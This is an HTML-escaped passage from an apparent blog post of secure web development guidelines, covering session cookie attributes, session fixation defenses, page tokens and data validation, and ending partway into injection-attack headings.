&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Web applications should never
     switch a given session from HTTP to HTTPS, or viceversa, as this will
     disclose the session ID in the clear through the network&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Web applications should not mix
     encrypted and unencrypted contents (HTML pages, images, CSS, Javascript
     files, etc) on the same host (or even domain - see the “domain” cookie
     attribute), as the request of any web object over an unencrypted channel
     might disclose the session ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Web applications should make
     use of “HTTP Strict Transport Security (HSTS)” (previously called STS) to
     enforce HTTPS connections.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;The “Secure” cookie attribute
     instructs web browsers to only send the cookie through an encrypted HTTPS
     (SSL/TLS) connection.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Forcing the web application to
     only use HTTPS for its communication (even when port TCP/80, HTTP, is
     closed in the web application host) does not protect against session ID
     disclosure if the “Secure” cookie has not been set - the web browser can
     be deceived to disclose the session ID over an unencrypted HTTP
     connection. The attacker can intercept and manipulate the victim user
     traffic and inject an HTTP unencrypted reference to the web application
     that will force the web browser to submit the session ID in the clear.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;The “HttpOnly” cookie attribute
     instructs web browsers not to allow scripts (e.g. JavaScript or VBscript)
     an ability to access the cookies via the DOM document.cookie object. This
     session ID protection is mandatory to prevent session ID stealing through
     XSS attacks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;The “Domain” cookie attribute
     instructs web browsers to only send the cookie to the specified domain and
     all subdomains. If the attribute is not set, by default the cookie will
     only be sent to the origin server. The “Path” cookie attribute instructs
     web browsers to only send the cookie to the specified directory or
     subdirectories (or paths or resources) within the web application. If the
     attribute is not set, by default the cookie will only be sent for the
     directory (or path) of the resource requested and setting the cookie.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;It is recommended to use a
      narrow or restricted scope for these two attributes. In this way, the
      “Domain” attribute should not be set (restricting the cookie just to the
      origin server) and the “Path” attribute should be set as restrictive as
      possible to the web application path that makes use of the session ID.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;it is recommended not to mix
     web applications of different security levels on the same domain.
     Vulnerabilities in one of the web applications would allow an attacker to
     set the session ID for a different web application on the same domain by
     using a permissive “Domain” attribute (such as “example.com”) which is a
     technique that can be used in session fixation attacks&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Although the “Path” attribute
     allows the isolation of session IDs between different web applications
     using different paths on the same host, it is highly recommended not to
     run different web applications (especially from different security levels
     or scopes) on the same host. Other methods can be used by these
     applications to access the session IDs, such as the “document.cookie”
     object. Also, any web application can set cookies for any path on that
     host.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Cookies are vulnerable to DNS
     spoofing/hijacking/poisoning attacks, where an attacker can manipulate the
     DNS resolution to force the web browser to disclose the session ID for a
     given host or domain.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;If a cookie presents the
     “Max-Age” (that has preference over “Expires”) or “Expires” attributes, it
     will be considered a persistent cookie and will be stored on disk by the
     web browser based until the expiration time. Typically, session management
     capabilities to track users after authentication make use of non-persistent
     cookies.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;The session ID must be
     renewed or regenerated by the web application after any privilege level
     change within the associated user session.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;The session ID
      regeneration is mandatory to prevent session fixation attacks [3], where
      an attacker sets the session ID on the victims user web browser instead
      of gathering the victims session ID&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;All sessions should
     implement an absolute timeout, regardless of session activity. This
     timeout defines the maximum amount of time a session can be active, closing
     and invalidating the session upon the defined absolute period&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;Web applications should
     focus on detecting anomalies associated to the session ID, such as its
     manipulation. The OWASP AppSensor Project [7] provides a framework and
     methodology to implement built-in intrusion detection capabilities within
     web applications focused on the detection of anomalies and unexpected
     behaviors, in the form of detection points and response actions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;bind the session ID to other
     user or client properties, such as the client IP address, User-Agent, or
     client-based digital certificate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;A skilled attacker can bypass
      these controls by reusing the same IP address assigned to the victim user
      by sharing the same network (very common in NAT environments, like Wi-Fi
      hotspots), by using the same outbound web proxy (very common in corporate
      environments), or by modifying his User-Agent to look exactly as the
      victim users does.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: .0001pt; margin-bottom: 0in; mso-list: l1 level2 lfo2; page-break-after: avoid; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Can
      also tie the session to a particular browser by using a hash of the
      server-side IP address (REMOTE_ADDR) and if the header exists,
      PROXY_FORWARDED_FOR. Note that you shouldn’t use the client-forgeable
      headers, but take a hash of them. If the new hash doesn’t match the
      previous hash, then there is a high likelihood of session replay.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;In situations where the
     web application source code is not available or cannot be modified or
     requires complete redesign, or to complement the web application defenses,
     and with the goal of keeping the web application as secure as possible, it
     is recommended to use external protections such as Web Application
     Firewalls (WAFs) that can mitigate the session management threats&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;The open-source
     ModSecurity WAF, plus the OWASP Core Rule Set [6], provide capabilities to
     detect and apply security cookie attributes, countermeasures against
     session fixation attacks, and session tracking features to enforce sticky
     sessions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 7pt; line-height: 150%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Form data should not contain
     hidden fields – if it is hidden, it probably needs to be protected and
     only available on the server side. However, hidden fields can (and should)
     be used for sequence protection and to prevent brute force pharming
     attacks.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;&lt;span style=&quot;line-height: 24px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;storing all state within each
     request(in contrast to storing in session), leads to extensive use of
     hidden fields and extra database queries to avoid server-side session
     management, and is vulnerable to replay and request forgery attacks, as
     well as producing complex code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Some frameworks use shared
     areas of the web server’s disk to store session data. In particular, PHP
     uses /tmp on Unix and c:\windows\temp on Windows by default. These areas
     provide no protection for session data, and may lead to compromise.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956541&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Page
     and Form Tokens&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Page specific tokens or
      &quot;nonces&quot; may be used in conjunction with session specific
      tokens to provide a measure of authenticity when dealing with client
      requests.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Page tokens are often stored
      in cookies or query strings and should be completely random. It is
      possible to avoid sending session token information to the client
      entirely through the use of page tokens, by creating a mapping&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 10pt; line-height: 150%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;If a session handler issues
     tokens which are predictable, an attacker does not need to capture session
     variables from the remote users – they can simply guess.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Consider using &quot;booby
     trapped&quot; session tokens that will detect a brute force
     attack.Then:&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Go slow or ban the originating
      IP address (which can be troublesome as more and more ISPs are using
      transparent caches to reduce their costs. Because of this: always check
      the &quot;proxy_via&quot; header)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level2 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Apache web server modules,
      such as mod_dosevasive and mod_security, that could be used for this kind
      of protection. Although mod_dosevasive is used to lessen the effect of
      DoS attacks, it could be rewritten for other purposes as well&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Associate the session ID, IP
     address, and other attributes from the user’s headers in a hash. If the
     hash changes, and more than one of the details has changed, it is likely
     that a session fixation attack has occurred.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Use Brutus to check if you can brute
     force a session and resume it. If yes, then session id requires greater
     entropy.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 150%;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc519930793&quot;&gt;Data Validation&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;HeadA&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956556&quot;&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956559&quot;&gt;Relevant COBIT Topics&lt;/a&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;DS11 – Manage Data. All sections should be reviewed&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956557&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc516832097&quot;&gt;&lt;b&gt;Data Validation Strategies&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956565&quot;&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
There are four strategies for validating data, and they should be
used in this order:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Accept known good&lt;/li&gt;
&lt;li&gt;Reject known bad. If you don&#39;t expect to see
characters such as %3f or JavaScript or similar, reject strings containing
them:&lt;/li&gt;
&lt;li&gt;Sanitize:&amp;nbsp;Eliminate or translate characters (such as to HTML entities or to
remove quotes) in an effort to make the input &quot;safe&quot;:&lt;/li&gt;
&lt;li&gt;No validation: not a strategy at all :-)&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Tips&lt;/b&gt;:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Code containing hidden fields should be rejected during code
reviews.&lt;/li&gt;
&lt;li&gt;Some strings may be received in encoded form. It is essential to
send the correct locale to the user so that the web server and application
server can provide a single level of canoncalization prior to the first use.&lt;/li&gt;
&lt;li&gt;Do not use getReader() or getInputStream() as these input methods
do not decode encoded strings. If you need to use these constructs, you must
decanoncalize data by hand.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc519930809&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Interpreter Injection&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;HeadA&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956574&quot;&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956577&quot;&gt;Relevant COBIT Topics&lt;/a&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;DS11 – Manage Data – All sections should be reviewed&lt;/li&gt;
&lt;li&gt;DS11.9 – Data processing integrity&lt;/li&gt;
&lt;li&gt;DS11.20 – Continued integrity of stored data&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956575&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956579&quot;&gt;&lt;b&gt;XSS ( all variations)&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956579&quot;&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956579&quot;&gt;&lt;b&gt;LDAP Injection&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956579&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956579&quot;&gt;&lt;b&gt;HTTP Response Splitting&lt;/b&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
This attack, uses a weakness in the HTTP protocol definition
to inject hostile data into the user’s browser. Klein describes the following
classes of attacks:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Cross-Site Scripting (XSS) &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Web Cache Poisoning (defacement) &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
